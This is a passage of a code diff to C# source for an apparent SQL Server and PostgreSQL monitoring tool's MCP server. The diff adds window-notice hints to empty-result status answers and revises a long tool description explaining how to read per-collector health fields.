+                    notice.WindowTruncated, notice.EffectiveStart,
+                    factual: $"{captured} {eventType} event(s) were captured for {serverName} in the last {hoursBack} hour(s) and {noneQualifiedBecause}",
+                    coveredClaim: ". Events ARE being captured, so this is the healthy answer for this read rather than missing data."),
+                sourceObserved: true, lastCapturedAt, lastCapturedOfTypeAt: lastOfType, eventsInWindow: captured,
+                hints: notice.AsHints());
         }
 
         if (lastOfType is DateTime seen)
         {
+            var notice = await WindowNoticeAsync(dataService, serverId, hoursBack, windowEnd, emptyAnswer: true);
             return WitnessStatus(
                 "empty",
-                $"No {eventType} events were captured for {serverName} in the last {hoursBack} hour(s). This server HAS captured them before (the newest was stored at {Stamp(seen)}), so the window is genuinely quiet rather than blind — widen hours_back to reach the most recent events.",
-                sourceObserved: true, lastCapturedAt, lastCapturedOfTypeAt: seen, eventsInWindow: 0);
+                McpHelpers.QuietUnlessCut(
+                    notice.WindowTruncated, notice.EffectiveStart,
+                    factual: $"No {eventType} events were captured for {serverName} in the last {hoursBack} hour(s). This server HAS captured them before (the newest was stored at {Stamp(seen)})",
+                    coveredClaim: ", so the window is genuinely quiet rather than blind — widen hours_back to reach the most recent events."),
+                sourceObserved: true, lastCapturedAt, lastCapturedOfTypeAt: seen, eventsInWindow: 0,
+                hints: notice.AsHints());
         }
 
         if (lastCapturedAt is DateTime alive)
@@ -591,7 +707,8 @@ private static async Task<string> EmptyAsync(
             return WitnessStatus(
                 "empty",
                 $"No {eventType} events have been captured for {serverName} at any time, but its system_health session IS being read — the collector last stored an event of another type at {Stamp(alive)} — so for this category the absence is a measurement: the engine has not recorded one. Not a blind spot, and a wider window would not change it.",
-                sourceObserved: true, alive, lastCapturedOfTypeAt: null, eventsInWindow: 0);
+                sourceObserved: true, alive, lastCapturedOfTypeAt: null, eventsInWindow: 0,
+                hints: (await WindowNoticeAsync(dataService, serverId, hoursBack, windowEnd, emptyAnswer: true)).AsHints());
         }
 
         return await McpEngineCapability.NotCollectedStatusAsync(dataService, serverId, serverName, SystemHealthCollectorName)
@@ -605,19 +722,26 @@ private static async Task<string> EmptyAsync(
     /// <see cref="McpHelpers.Status"/> with the source witness beside <c>status</c> and <c>message</c>: the
     /// same <c>source_observed</c> / <c>last_captured_at</c> pair the data envelope carries, plus what this
     /// rung measured (<c>last_captured_of_type_at</c>, <c>events_in_window</c>). Top-level rather than under
-    /// <c>hints</c> so the keys sit in one place whichever branch answered.
+    /// <c>hints</c> so the keys sit in one place whichever branch answered. The one thing under <c>hints</c> is the #4966
+    /// window-floor trio, which an <c>empty</c> rung passes in and the <c>unavailable</c> rung leaves out.
     /// </summary>
     private static string WitnessStatus(
-        string status, string message, bool sourceObserved, DateTime? lastCapturedAt, DateTime? lastCapturedOfTypeAt, int eventsInWindow)
-        => JsonSerializer.Serialize(new
+        string status, string message, bool sourceObserved, DateTime? lastCapturedAt, DateTime? lastCapturedOfTypeAt, int eventsInWindow,
+        object? hints = null)
+    {
+        /* The serializer writes a null member, so hints is added only when there is one: the unavailable rung keeps its shape. */
+        var answer = new Dictionary<string, object?>
         {
-            status,
-            message,
-            source_observed = sourceObserved,
-            last_captured_at = Stamp(lastCapturedAt),
-            last_captured_of_type_at = Stamp(lastCapturedOfTypeAt),
-            events_in_window = eventsInWindow,
-        }, McpHelpers.JsonOptions);
+            ["status"] = status,
+            ["message"] = message,
+            ["source_observed"] = sourceObserved,
+            ["last_captured_at"] = Stamp(lastCapturedAt),
+            ["last_captured_of_type_at"] = Stamp(lastCapturedOfTypeAt),
+            ["events_in_window"] = eventsInWindow,
+        };
+        if (hints is not null) answer["hints"] = hints;
+        return JsonSerializer.Serialize(answer, McpHelpers.JsonOptions);
+    }
 
     /// <summary>The store's naive-UTC stamp in the same ISO shape the rows' <c>event_time</c> uses; null stays null.</summary>
     private static string? Stamp(DateTime? stamp) => stamp?.ToString("o");
diff --git a/Lite/Mcp/McpHealthTools.cs b/Lite/Mcp/McpHealthTools.cs
index 90243e2b9e..8b258b3396 100644
--- a/Lite/Mcp/McpHealthTools.cs
+++ b/Lite/Mcp/McpHealthTools.cs
@@ -202,6 +202,12 @@ ending ON the anchor day means the anchor day is the last one included. */
             /* The anchor is also the clock the still-forming day's window clamps against (#3525 review). */
             var rows = await dataService.GetDailySummaryRangeAsync(resolved.ServerId, fromDate, toDate, asOfUtc: windowEnd);
 
+            /* #4966: NO data-start notice, deliberately. Every row below carries its own data state and the store's retention
+               horizon (data_state, data_note, retention_horizon, days_before_horizon): a day before the horizon says purged or
+               past_horizon with health_band NoData, never Healthy, and a day the spine does not hold is absent, which the tool's
+               contract names as a collection gap, not a quiet day (the description, and the empty answer below, which says the
+               range lies outside what the store holds). The desktop viewer's Daily Summary says the same through the same two
+               fields (DataState, RetentionHorizon), so there is no start left for a notice to add. */
             if (rows.Count == 0)
             {
                 /*
@@ -277,12 +283,13 @@ first row's is the range's. */
         }
     }
 
-    [McpServerTool(Name = "get_collection_health"), Description("Per-collector 7-day health for a server. STOPPED (gate off) does not count as failing; rows_stored=0 is NOT a fault by itself — output_finding says whether it is a resting event-collector or a denial needing a grant. last_error is a sticky slot, not necessarily current: check last_error_at/denied_since_last_success. regressed_from_productive floors WARNING on an axis SEPARATE from failed_collector_count — never add them. alert_read_health uses a DIFFERENT since-restart window, not this one; zero there means none since restart, not none in 7 days. <<GUIDE>> Shows the health status of all data collectors for a server — whether they're running successfully, failing, or stale. A collector reads STOPPED rather than FAILING when it has attempted nothing at all — no success, no error, nothing — for longer than the FAILING cutoff, despite a history of runs: that is a collector whose gate (AppliesTo) flipped off for this target rather than one that keeps running and erroring, and it does not count toward a server's failing-collector total. A collector reads EXTENSION_MISSING when every attempt in the window was skipped because a PostgreSQL extension it declares is not installed on the target - last_error names the extension, CREATE EXTENSION (plus shared_preload_libraries and a restart where the message says so) is the remedy, never a grant, and an optional extension left uninstalled is a legitimate resting state rather than a fault. That last reading holds ONLY for a collector that never produced on this target, and regressed_from_productive is the field that tells you which one you are looking at: it is true when this collector WAS storing rows and has reported a named skip - EXTENSION_MISSING, PERMISSIONS or SESSION_MISSING - on every cycle since. That is a restart or an upgrade changing what the collector can read, which is a regression rather than rest, and it is not something the band can tell you on its own: the skip bands are reached only when the whole window holds no success, so a collector that regressed inside the last day still has a fresh success, reads HEALTHY on the ordinary staleness ladder, and is floored to WARNING by this flag alone. last_productive_at is when this collector last stored anything, rows_in_prior_7d is how much it stored over this seven-day window and is served only when the flag is true (only then is that figure entirely pre-regression, because a named skip stores nothing), and regression_finding is the sentence that puts the three facts in the order they happened. The flag is also true for the second regression class: a collector that WAS storing rows and has recorded SUCCESS with zero rows on its last three runs, which no skip word or staleness reading can show. A collector whose rows exist only while the target is busy (waiting_tasks, query_snapshots, running_jobs, job_history, procedure_stats, pg_lock_stats, pg_session_states) must also have gone 72 hours without a row, because an idle target legitimately returns nothing for that long, and query_store must have gone just over a day, its longest Query Store interval. get_fleet_overview counts the same rows per server as regressed_collector_count. That count is a SEPARATE AXIS from failed_collector_count and the two must never be added: one regression reads WARNING on its first day and FAILING once its success clock runs out, and is regressed on both. Check this before investigating data to ensure collectors are working properly. Each row also carries last_note/note_count: what a NON-failing run reported, e.g. an enumeration that came back with 0 items. For a note without counts, note_count equal to total_runs means the collector has been collecting nothing all window — not a fault (the target may be legitimately empty), but the reason a HEALTHY collector can still have no data; when last_note carries label=value counts it is the newest NOTED run's counts and never a window total, and note_count equal to total_runs then says only that every run measured itself. target_has_user_databases tells those two apart: true means the target DID have user databases in the same window, so an all-window empty enumeration is worth investigating (a login that cannot enter them, an exclusion filter that matched everything, a databases scope on the collector's schedule row that admits nothing - the last a Darling-only schedule knob); false means either no user databases or no inventory to go on. Each row also carries abandoned and abandon_rate_pct: cycles the 120-second whole-server wall-clock budget gave up on, which stored nothing and advanced no watermark. Unlike a yield, which retries, an abandoned cycle is collected data you do not have. A rate above 0.5% bands the collector WARNING, so a WARNING here may have nothing to do with errors - read abandoned beside errors to attribute it. CRITICAL for reading last_error: it is a single slot carrying the newest ERROR, PERMISSIONS, or EXTENSION_MISSING message in the whole window, and a message in it is NOT evidence that the condition is current. Read last_error_at for when it happened, last_denied_at for when the newest DENIAL specifically happened, and denied_since_last_success for the derived answer - true means a denial is the collector's current state, false means every denial in the window predates a later success and the collector is reading fine now. A fault recorded before a code path changed will sit in last_error for the rest of the window while every cycle since succeeds. Do not infer a live condition from last_error alone. Total abandonment still reads FAILING through staleness; the rate exists for the partial case, where a collector abandons some cycles and succeeds often enough to stay fresh, which otherwise read HEALTHY with errors 0 indefinitely. The sweep_pressure block is the server-level roll-up: it compares the collectors' combined execution demand (average duration amortized by cadence) against the minute the fastest cadence holds. SATURATED means the collection body cannot fit inside its cadence, so relaunches are skipped and the server collects at a multiple of its configured interval while every collector still reads healthy — heaviest_collectors names where that budget goes. That verdict is the SUSTAINED answer only. peak_cycle_risk is the separate single-sweep answer: peak_cycle_ms is what the body costs on the cycle where every scheduled cadence comes due together, and BODY_OVERRUN means that one body cannot fit the budget even when the verdict reads OK — the signature of one infrequent heavy collector, which amortization hides and heaviest_collectors therefore ranks out of sight. peak_collector names it, and peak_cycle_note explains it. Read both fields: a server can be OK/BODY_OVERRUN (a schedule-shape problem, fix by moving or splitting that collector) or SATURATED/BODY_OVERRUN (a capacity problem). Every collector row carries avg_duration_ms, p95_duration_ms and max_duration_ms, because a collector's runs are not always one population. Read the three together: avg close to p95 close to max is one population, avg far below p95 is two, and p95 far below max is one pathological run. peak_cycle_ms is built from p95 (floored at the mean, so it can never read lower than a mean-based figure) for exactly that reason, and peak_collector carries peak_run_ms beside avg_duration_ms so the gap is visible. Those three still describe RUNS, and a collector that runs once per DATABASE writes one blended row, so no run-level statistic can say which database cost what. Five fan out from an enumeration on any SQL Server target (query_store, plan_correction, query_store_health, index_object_stats, database_scoped_config); separately, eleven more fan out over a per-database connection loop when the target is Azure SQL DB, and pg_autovacuum_stats always does on PostgreSQL. The per-collector `fanout` block is that answer, null for a collector that does not fan out: `items` is how wide the fan-out was, `slowest`/`slowest_ms` name the dearest database and its cost on the window's worst run, `run_ms` is that whole run, `slowest_share_pct` is slowest_ms / run_ms as a percentage — the slowest item's share of the whole pass — and `dominance` is slowest_ms * items / run_ms, the slowest item against the MEAN item: 1.0 for a perfectly even fan-out, rising with concentration. The remediation decision routes through the SHARE, not through dominance: a low share means the cost is the fan-out's WIDTH — no single database is worth chasing, and bounded parallelism is the lever — while a high share means one database dominates the pass and a per-database schedule override or a stagger is what helps. Dominance is NOT that verdict, because its ceiling is items. A fixed threshold on dominance misreads exactly the widest fan-outs, where the cost lives. Dominance only reads as dominance when it approaches a meaningful fraction of items (share = dominance / items); it stays published as the evenness ratio, for continuity. Do not try to infer any of this from p95 versus avg — on a per-database collector that ratio is usually saturated by empty-versus-productive runs and says nothing about databases. Every field named so far describes what a collector SPENT; rows_stored, runs_with_rows and productive_run_pct are what it BOUGHT, counted over the same window as total_runs and the durations, so cost and output on a row always describe the same runs. Read them together for the readings that need different actions: rows_stored above zero is expensive AND productive; rows_stored zero with denied_since_last_success false, no faulted run and no note is a collector that read and found nothing, which for one that stores a row only when an event occurs (e.g. deadlocks, blocked_process_report, pg_blocking, pg_xmin_horizon) is the correct resting state and needs no action; rows_stored zero with denied_since_last_success true is a collector that could not read and needs a grant. output_finding says which zero reading applies and is null whenever rows_stored is positive. There are five, in the order they are decided: a current denial is the grant case; errors plus session_missing above zero means that many runs recorded a fault rather than a result, so on those runs the collector was UNABLE to read and the resting-state reading is withheld for the whole window (every run faulted is nothing read at all and needs action - the case an Azure SQL DB target produced when two collectors failed on every database every sweep and were recorded SUCCESS with a sentence saying they had read and found nothing); note_count above zero means the runs themselves recorded what they found, so the finding defers to last_note instead of assuming a category - which is what keeps a DELIBERATE zero distinguishable from a collector that quietly stopped storing rows; nothing on the row explaining the zero from an event collector is that collector at rest; and the same from a collector that is NOT event-triggered - a configuration or snapshot read such as database_scoped_config, which returns a row per setting per database - is its source coming back empty on every run, which is not a resting state and the finding says needs a look. The event-collector set is a closed list on the shared classifier, so a collector left off it gets the non-reassuring sentence rather than the reassuring one. query_store on a read-replica target is the deliberate case: it is not an event collector, and every run notes an empty enumeration because Query Store on a readable secondary is excluded by design. This is deliberately NOT a band. A verdict keyed on cost-plus-zero-rows would fire on the healthy quiet install rather than the blind one. These are NOT the hourly per-collector series Darling's get_collector_cost reports as total_rows - a separate series over that caller's own days_back and across every server at once, and Darling-only, so Lite has no twin of it; the top-level output_note names both windows and disclaims that one. rows_stored is also what a run STORED, never what the monitored engine counted, so a zero cannot tell a genuinely quiet source apart from a reader capturing nothing off a busy one - nothing on this surface measures that. One block on this response is deliberately NOT on the seven-day window: alert_read_health, which counts the alerting layer's OWN store reads that failed and were swallowed. A condition check that cannot read the store logs one line and skips - correctly, because firing on absent evidence would fabricate an alert and resolving on it would fabricate a recovery - and that skip is not a collector run, so it writes no collection_log row and reaches no other health surface: only a grep of the service log found the class. It matters out of proportion to the count because the alert pass runs on a much shorter store deadline than the collection sweep, so as store latency rises the alerting layer is the FIRST thing to fail and collection is the last - during one measured episode of store lock contention the service log's error rate rose 41 to 61 per hour, every line an alerting-side read, while collector failures over the same hours FELL from 23 to 2. Read server_read_failures beside server_alert_passes for this server (a pass is one alert evaluation pass containing many reads, so more failures than passes is ordinary and the pair is NOT a ratio; a Darling sweep runs two passes for a SQL Server target, three for a PostgreSQL one, and Lite runs one, so the denominator is comparable within a host and engine but not across them), instance_read_failures for the whole service (which also covers the fleet-scoped conditions that belong to no server and so appear in no per-server count: " + AlertReadFailureCounter.FleetScopedReads + "), fleet_read_failures for how many of that service total belong to no server at all - the figure that makes a nonzero service count readable from a server whose own count is zero, because those two populations take opposite actions: a blind fleet-scoped read means the store's own self-alerts went quiet and two of them are the reads whose alerts would say the store is in trouble, while one on another server is answered by reading this same block there, last_failure_read for which condition went blind most recently, last_failure_elapsed_ms for how long that read ran before it faulted - which is the term that says whose deadline ended it ONLY WHERE THE ALERT PASS SETS ONE. The Darling service does, on every store read; Lite's alerting reads go into its local store with no command deadline at all, so on Lite this is a plain duration that says a read became slow and nothing about who ended it. Where there is a deadline: an elapsed at or about it means this process stopped waiting while the statement was still running on the store, one well below that bound means the store returned a fault, and the exception text cannot make that distinction because a client-side deadline renders as a torn stream with no SQLSTATE exactly like a dropped connection. A figure well ABOVE the bound is a third reading: the failure was not a single bounded read, which each site's clock restart between consecutive awaits makes rare and which is expected only on the shared engine sweep entry, whose awaited operation is a whole alert pass - and last_failure_at to tell a healed episode from a live one: this count never ages out of a window, so a nonzero value with a stamp from days ago is history. Every count on this block carries its own newest-failure stamp, read name and elapsed, so none of them sits undated: last_failure_* are THIS server's, fleet_last_failure_* are the fleet-scoped conditions' and are attributable by construction, and instance_last_failure_* are the newest failure anywhere in this service whatever its scope - that last trio may therefore name a read on a server you did not ask about and makes no claim about which, which is why the fleet trio is reported separately rather than inferred from it. The third population is a subtraction: instance_read_failures minus server_read_failures minus fleet_read_failures is how many failed on OTHER servers, and that one has no stamp here by design - nothing holds a newest failure for it, and a count with nothing to date or name it is the gap the three trios close, so read this block on those servers to attribute it. retried_reads is the SECOND population and on the Darling service is where most of what this block used to count now lands: reads that crossed the 10 s alert-pass deadline once and succeeded on the single retry two seconds later - the store's write bands' cost, counted rather than blinding an alert. Every one of those would once have been a swallowed failure, so read the two together: retries rising with failures at zero is a store under write pressure whose alerting is intact, and both rising is a store where a second attempt twelve seconds later still found the band on, which wants the store's write schedule looked at rather than the reader's. A read that failed twice counts in both. It carries no stamp and no read name, deliberately - a retried read did not go blind, so there is no episode to date or attribute, and a stamp would invite reading a retry as a soft failure. instance_retried_reads is the same figure across the whole service, with no fleet part because nothing records a fleet-scoped retry today. On Lite both read zero as a property of the SKU and not of a quiet store: Lite's alerting reads carry no command deadline, so there is no deadline to cross and nothing to retry. counting_since is when this process began counting, early in its own startup - these are in-memory counts and a restart takes them to zero, so a zero means \"none since counting_since\" and NOT \"none in seven days\"; check the stamp before reading the zero as reassurance. Deliberately not persisted, because what it counts is a failure to READ the store. It does NOT count alerts that failed to DELIVER and makes no claim about them - that is get_alert_history's question. And deliberately not a band, for the same reason the output figures are not: any threshold over it would have to guess how many blind reads make alerting unhealthy, and a wrong guess on this particular surface fails by saying nothing is wrong. The service block beside alert_read_health is the build-attribution read: nothing else on this surface says WHAT build is answering, so the question an operator watching an install actually asks - \"is the running service the build that carries fix X\" - is answered by version directly instead of by restart inference plus a merge-list lookup the watcher has no way to perform. version is the running build's informational version - the same read the Darling service's --version verb prints, with any SemVer build-metadata suffix stripped and the prerelease suffix KEPT, because the nightly stamp lives in the prerelease and one nightly differs from the next in nothing else; Lite has no version verb and reads the same attribute off its own app assembly, stamped from the same single declaration. counting_since remains the restart detector, and a restart is NOT a build: a crash-restart moves counting_since exactly the way an install does, which is why inferring a build from it misattributes. started_at is the SAME instant counting_since carries, deliberately - both mean \"when this process came up\", and a second clock for one fact would put two near-identical stamps on one payload whose skew a reader would have to explain away. compiled_schema_version is the schema rung this BUILD expects - the compiled constant, not a read of the store's migrated rung - so beside version it says what this build requires of the store it serves, whether or not that store has caught up. When a recent analysis pass could not read one of its fact families for this server, the payload also carries analysis_caveats (analysis_time, families_failed, families_total, entries[{family, read, outcome, message, failed_in_last_passes}]) — the analysis pass's own reads of the collectors' tables, a different layer from the collector rows; absent when the last 24 remembered passes were clean. Process memory: a service restart forgets. full_detail (#4198): every collector row above defaults to a compact shape - collector, status, compact, total_runs, rows_stored, avg_duration_ms, last_success - for a collector that is HEALTHY with zero errors, session_missing, extension_missing, permission_denied and abandoned runs this window, not regressed, and either stored rows or is a known event collector reading zero at rest. Any other row - failing, stale, stopped, erroring, denied, regressed, or a non-event collector's unexplained zero - is never dropped and never silently shortened to that seven-field shape: it gets partial_detail: true instead of compact, and a leaner shape naming what is wrong and since when - collector, status, partial_detail, total_runs, errors, session_missing, abandoned, rows_stored, last_success, last_error, last_error_truncated, last_error_at, last_denied_at, denied_since_last_success, regressed_from_productive, regression_finding, output_finding, output_finding_truncated - rather than every field named earlier in this guide. Pass full_detail=true for every field on every row regardless of health or tier. collector_detail_note on the envelope names how many rows compacted, how many took the leaner shape, and how full_detail restores each.")]
+    [McpServerTool(Name = "get_collection_health"), Description("Per-collector 7-day health for a server. STOPPED (gate off) does not count as failing; rows_stored=0 is NOT a fault by itself — output_finding says whether it is a resting event-collector or a denial needing a grant. last_error is a sticky slot, not necessarily current: check last_error_at/denied_since_last_success. regressed_from_productive floors WARNING on an axis SEPARATE from failed_collector_count — never add them. alert_read_health uses a DIFFERENT since-restart window, not this one; zero there means none since restart, not none in 7 days. <<GUIDE>> Shows the health status of all data collectors for a server — whether they're running successfully, failing, or stale. A collector reads STOPPED rather than FAILING when it has attempted nothing at all — no success, no error, nothing — for longer than the FAILING cutoff, despite a history of runs: that is a collector whose gate (AppliesTo) flipped off for this target rather than one that keeps running and erroring, and it does not count toward a server's failing-collector total. A collector reads EXTENSION_MISSING when every attempt in the window was skipped because a PostgreSQL extension it declares is not installed on the target - last_error names the extension, CREATE EXTENSION (plus shared_preload_libraries and a restart where the message says so) is the remedy, never a grant, and an optional extension left uninstalled is a legitimate resting state rather than a fault. That last reading holds ONLY for a collector that never produced on this target, and regressed_from_productive is the field that tells you which one you are looking at: it is true when this collector WAS storing rows and has reported a named skip - EXTENSION_MISSING, PERMISSIONS or SESSION_MISSING - on every cycle since. That is a restart or an upgrade changing what the collector can read, which is a regression rather than rest, and it is not something the band can tell you on its own: the skip bands are reached only when the whole window holds no success, so a collector that regressed inside the last day still has a fresh success, reads HEALTHY on the ordinary staleness ladder, and is floored to WARNING by this flag alone. last_productive_at is when this collector last stored anything, rows_in_prior_7d is how much it stored over this seven-day window and is served only when the flag is true (only then is that figure entirely pre-regression, because a named skip stores nothing), and regression_finding is the sentence that puts the three facts in the order they happened. The flag is also true for the second regression class: a collector that WAS storing rows and has recorded SUCCESS with zero rows on its last three runs, which no skip word or staleness reading can show. A collector whose rows exist only while the target is busy (waiting_tasks, query_snapshots, running_jobs, job_history, procedure_stats, pg_lock_stats, pg_session_states) must also have gone 72 hours without a row, because an idle target legitimately returns nothing for that long, and query_store must have gone just over a day, its longest Query Store interval. get_fleet_overview counts the same rows per server as regressed_collector_count. That count is a SEPARATE AXIS from failed_collector_count and the two must never be added: one regression reads WARNING on its first day and FAILING once its success clock runs out, and is regressed on both. Check this before investigating data to ensure collectors are working properly. Each row also carries last_note/note_count: what a NON-failing run reported, e.g. an enumeration that came back with 0 items. For a note without counts, note_count equal to total_runs means the collector has been collecting nothing all window — not a fault (the target may be legitimately empty), but the reason a HEALTHY collector can still have no data; when last_note carries label=value counts it is the newest NOTED run's counts and never a window total, and note_count equal to total_runs then says only that every run measured itself. target_has_user_databases tells those two apart: true means the target DID have user databases in the same window, so an all-window empty enumeration is worth investigating (a login that cannot enter them, an exclusion filter that matched everything, a databases scope on the collector's schedule row that admits nothing - the last a Darling-only schedule knob); false means either no user databases or no inventory to go on. Each row also carries abandoned and abandon_rate_pct: cycles the 120-second whole-server wall-clock budget gave up on, which stored nothing and advanced no watermark. Unlike a yield, which retries, an abandoned cycle is collected data you do not have. A rate above 0.5% bands the collector WARNING, so a WARNING here may have nothing to do with errors - read abandoned beside errors to attribute it. CRITICAL for reading last_error: it is a single slot carrying the newest ERROR, PERMISSIONS, or EXTENSION_MISSING message in the whole window, and a message in it is NOT evidence that the condition is current. Read last_error_at for when it happened, last_denied_at for when the newest DENIAL specifically happened, and denied_since_last_success for the derived answer - true means a denial is the collector's current state, false means every denial in the window predates a later success and the collector is reading fine now. A fault recorded before a code path changed will sit in last_error for the rest of the window while every cycle since succeeds. Do not infer a live condition from last_error alone. Total abandonment still reads FAILING through staleness; the rate exists for the partial case, where a collector abandons some cycles and succeeds often enough to stay fresh, which otherwise read HEALTHY with errors 0 indefinitely. The sweep_pressure block is the server-level roll-up: it compares the collectors' combined execution demand (average duration amortized by cadence) against the minute the fastest cadence holds. SATURATED means the collection body cannot fit inside its cadence, so relaunches are skipped and the server collects at a multiple of its configured interval while every collector still reads healthy — heaviest_collectors names where that budget goes. That verdict is the SUSTAINED answer only. peak_cycle_risk is the separate single-sweep answer: peak_cycle_ms is what the body costs on the cycle where every scheduled cadence comes due together, and BODY_OVERRUN means that one body cannot fit the budget even when the verdict reads OK — the signature of one infrequent heavy collector, which amortization hides and heaviest_collectors therefore ranks out of sight. peak_collector names it, and peak_cycle_note explains it. Read both fields: a server can be OK/BODY_OVERRUN (a schedule-shape problem, fix by moving or splitting that collector) or SATURATED/BODY_OVERRUN (a capacity problem). Every collector row carries avg_duration_ms, p95_duration_ms and max_duration_ms, because a collector's runs are not always one population. Read the three together: avg close to p95 close to max is one population, avg far below p95 is two, and p95 far below max is one pathological run. peak_cycle_ms is built from p95 (floored at the mean, so it can never read lower than a mean-based figure) for exactly that reason, and peak_collector carries peak_run_ms beside avg_duration_ms so the gap is visible. Those three still describe RUNS, and a collector that runs once per DATABASE writes one blended row, so no run-level statistic can say which database cost what. Five fan out from an enumeration on any SQL Server target (query_store, plan_correction, query_store_health, index_object_stats, database_scoped_config); separately, eleven more fan out over a per-database connection loop when the target is Azure SQL DB, and pg_autovacuum_stats always does on PostgreSQL. The per-collector `fanout` block is that answer, null for a collector that does not fan out: `items` is how wide the fan-out was, `slowest`/`slowest_ms` name the dearest database and its cost on the window's worst run, `run_ms` is that whole run, `slowest_share_pct` is slowest_ms / run_ms as a percentage — the slowest item's share of the whole pass — and `dominance` is slowest_ms * items / run_ms, the slowest item against the MEAN item: 1.0 for a perfectly even fan-out, rising with concentration. The remediation decision routes through the SHARE, not through dominance: a low share means the cost is the fan-out's WIDTH — no single database is worth chasing, and bounded parallelism is the lever — while a high share means one database dominates the pass and a per-database schedule override or a stagger is what helps. Dominance is NOT that verdict, because its ceiling is items. A fixed threshold on dominance misreads exactly the widest fan-outs, where the cost lives. Dominance only reads as dominance when it approaches a meaningful fraction of items (share = dominance / items); it stays published as the evenness ratio, for continuity. Do not try to infer any of this from p95 versus avg — on a per-database collector that ratio is usually saturated by empty-versus-productive runs and says nothing about databases. Every field named so far describes what a collector SPENT; rows_stored, runs_with_rows and productive_run_pct are what it BOUGHT, counted over the same window as total_runs and the durations, so cost and output on a row always describe the same runs. Read them together for the readings that need different actions: rows_stored above zero is expensive AND productive; rows_stored zero with denied_since_last_success false, no faulted run and no note is a collector that read and found nothing, which for one that stores a row only when an event occurs (e.g. deadlocks, blocked_process_report, pg_blocking, pg_xmin_horizon) is the correct resting state and needs no action; rows_stored zero with denied_since_last_success true is a collector that could not read and needs a grant. output_finding says which zero reading applies and is null whenever rows_stored is positive. There are five, in the order they are decided: a current denial is the grant case; errors plus session_missing above zero means that many runs recorded a fault rather than a result, so on those runs the collector was UNABLE to read and the resting-state reading is withheld for the whole window (every run faulted is nothing read at all and needs action - the case an Azure SQL DB target produced when two collectors failed on every database every sweep and were recorded SUCCESS with a sentence saying they had read and found nothing); note_count above zero means the runs themselves recorded what they found, so the finding defers to last_note instead of assuming a category - which is what keeps a DELIBERATE zero distinguishable from a collector that quietly stopped storing rows; nothing on the row explaining the zero from an event collector is that collector at rest; and the same from a collector that is NOT event-triggered - a configuration or snapshot read such as database_scoped_config, which returns a row per setting per database - is its source coming back empty on every run, which is not a resting state and the finding says needs a look. The event-collector set is a closed list on the shared classifier, so a collector left off it gets the non-reassuring sentence rather than the reassuring one. query_store on a read-replica target is the deliberate case: it is not an event collector, and every run notes an empty enumeration because Query Store on a readable secondary is excluded by design. This is deliberately NOT a band. A verdict keyed on cost-plus-zero-rows would fire on the healthy quiet install rather than the blind one. These are NOT the hourly per-collector series Darling's get_collector_cost reports as total_rows - a separate series over that caller's own days_back and across every server at once, and Darling-only, so Lite has no twin of it; the top-level output_note names both windows and disclaims that one. rows_stored is also what a run STORED, never what the monitored engine counted, so a zero cannot tell a genuinely quiet source apart from a reader capturing nothing off a busy one - nothing on this surface measures that. One block on this response is deliberately NOT on the seven-day window: alert_read_health, which counts the alerting layer's OWN store reads that failed and were swallowed. A condition check that cannot read the store logs one line and skips - correctly, because firing on absent evidence would fabricate an alert and resolving on it would fabricate a recovery - and that skip is not a collector run, so it writes no collection_log row and reaches no other health surface: only a grep of the service log found the class. It matters out of proportion to the count because the alert pass runs on a much shorter store deadline than the collection sweep, so as store latency rises the alerting layer is the FIRST thing to fail and collection is the last - during one measured episode of store lock contention the service log's error rate rose 41 to 61 per hour, every line an alerting-side read, while collector failures over the same hours FELL from 23 to 2. Read server_read_failures beside server_alert_passes for this server (a pass is one alert evaluation pass containing many reads, so more failures than passes is ordinary and the pair is NOT a ratio; a Darling sweep runs two passes for a SQL Server target, three for a PostgreSQL one, and Lite runs one, so the denominator is comparable within a host and engine but not across them), instance_read_failures for the whole service (which also covers the fleet-scoped conditions that belong to no server and so appear in no per-server count: " + AlertReadFailureCounter.FleetScopedReads + "), fleet_read_failures for how many of that service total belong to no server at all - the figure that makes a nonzero service count readable from a server whose own count is zero, because those two populations take opposite actions: a blind fleet-scoped read means the store's own self-alerts went quiet and two of them are the reads whose alerts would say the store is in trouble, while one on another server is answered by reading this same block there, last_failure_read for which condition went blind most recently, last_failure_elapsed_ms for how long that read ran before it faulted - which is the term that says whose deadline ended it ONLY WHERE THE ALERT PASS SETS ONE. The Darling service does, on every store read; Lite's alerting reads go into its local store with no command deadline at all, so on Lite this is a plain duration that says a read became slow and nothing about who ended it. Where there is a deadline: an elapsed at or about it means this process stopped waiting while the statement was still running on the store, one well below that bound means the store returned a fault, and the exception text cannot make that distinction because a client-side deadline renders as a torn stream with no SQLSTATE exactly like a dropped connection. A figure well ABOVE the bound is a third reading: the failure was not a single bounded read, which each site's clock restart between consecutive awaits makes rare and which is expected only on the shared engine sweep entry, whose awaited operation is a whole alert pass - and last_failure_at to tell a healed episode from a live one: this count never ages out of a window, so a nonzero value with a stamp from days ago is history. Every count on this block carries its own newest-failure stamp, read name and elapsed, so none of them sits undated: last_failure_* are THIS server's, fleet_last_failure_* are the fleet-scoped conditions' and are attributable by construction, and instance_last_failure_* are the newest failure anywhere in this service whatever its scope - that last trio may therefore name a read on a server you did not ask about and makes no claim about which, which is why the fleet trio is reported separately rather than inferred from it. The third population is a subtraction: instance_read_failures minus server_read_failures minus fleet_read_failures is how many failed on OTHER servers, and that one has no stamp here by design - nothing holds a newest failure for it, and a count with nothing to date or name it is the gap the three trios close, so read this block on those servers to attribute it. retried_reads is the SECOND population and on the Darling service is where most of what this block used to count now lands: reads that crossed the 10 s alert-pass deadline once and succeeded on the single retry two seconds later - the store's write bands' cost, counted rather than blinding an alert. Every one of those would once have been a swallowed failure, so read the two together: retries rising with failures at zero is a store under write pressure whose alerting is intact, and both rising is a store where a second attempt twelve seconds later still found the band on, which wants the store's write schedule looked at rather than the reader's. A read that failed twice counts in both. It carries no stamp and no read name, deliberately - a retried read did not go blind, so there is no episode to date or attribute, and a stamp would invite reading a retry as a soft failure. instance_retried_reads is the same figure across the whole service, with no fleet part because nothing records a fleet-scoped retry today. On Lite both read zero as a property of the SKU and not of a quiet store: Lite's alerting reads carry no command deadline, so there is no deadline to cross and nothing to retry. counting_since is when this process began counting, early in its own startup - these are in-memory counts and a restart takes them to zero, so a zero means \"none since counting_since\" and NOT \"none in seven days\"; check the stamp before reading the zero as reassurance. Deliberately not persisted, because what it counts is a failure to READ the store. It does NOT count alerts that failed to DELIVER and makes no claim about them - that is get_alert_history's question. And deliberately not a band, for the same reason the output figures are not: any threshold over it would have to guess how many blind reads make alerting unhealthy, and a wrong guess on this particular surface fails by saying nothing is wrong. The service block beside alert_read_health is the build-attribution read: nothing else on this surface says WHAT build is answering, so the 